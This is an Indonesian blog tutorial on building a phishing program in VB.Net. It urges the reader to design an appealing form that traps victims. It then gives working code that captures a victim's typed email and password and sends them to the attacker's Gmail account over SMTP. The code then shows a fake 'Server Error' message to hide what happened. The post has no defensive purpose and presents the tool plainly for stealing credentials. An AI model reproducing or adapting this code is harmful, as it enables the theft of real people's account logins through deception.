Cara Membuat Phising Dengan VB.Net

Hello sobat BagasUnix, jumpa lagi sama saya. :D

Kali ini saya akan kasih tau Cara Membuat Phising Dengan VB.Net, silahkan di simak baik" ya ^^

Yang pertama anda harus membuat design yang menarik sehingga sang korban tertarik dalam jebakan kita. Setelah membuat designnya silahkan pencet tombol F7 untuk menuliskan source kodenya.

 Imports System.Net.Mail
Public Class Form1
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        If TextBox1.Text = "" Then
            MsgBox("Email Is Missing")
            If TextBox2.Text = "" Then
                MsgBox("Password Is Mising")
            Else
            End If
        End If
        Dim smtpServer As New SmtpClient()
        Dim mail As New MailMessage()
        smtpServer.Credentials = New Net.NetworkCredential("Email Anda", "Password Email")
        smtpServer.Port = 587
        smtpServer.Host = "smtp.gmail.com"
        smtpServer.EnableSsl = True
        mail = New MailMessage()
        mail.From = New MailAddress("Username")
        mail.To.Add("Username")
        mail.Subject = "Email: " & TextBox1.Text
        mail.Body = "Email : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
        smtpServer.Send(mail)
        MsgBox("Disconnected From Server, Please try again later!", MsgBoxStyle.Critical, "Server Error")
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Close()
    End Sub
End Class
 

Terimakasih atas kunjungannya, kalau ada yang bertanya silahkan komen di bawah ^^

Note : Tanda yang merah ganti dengan Email anda dan password anda, ingat itu bukan jebakan. Melainkan untuk memberikan data korban ke email anda.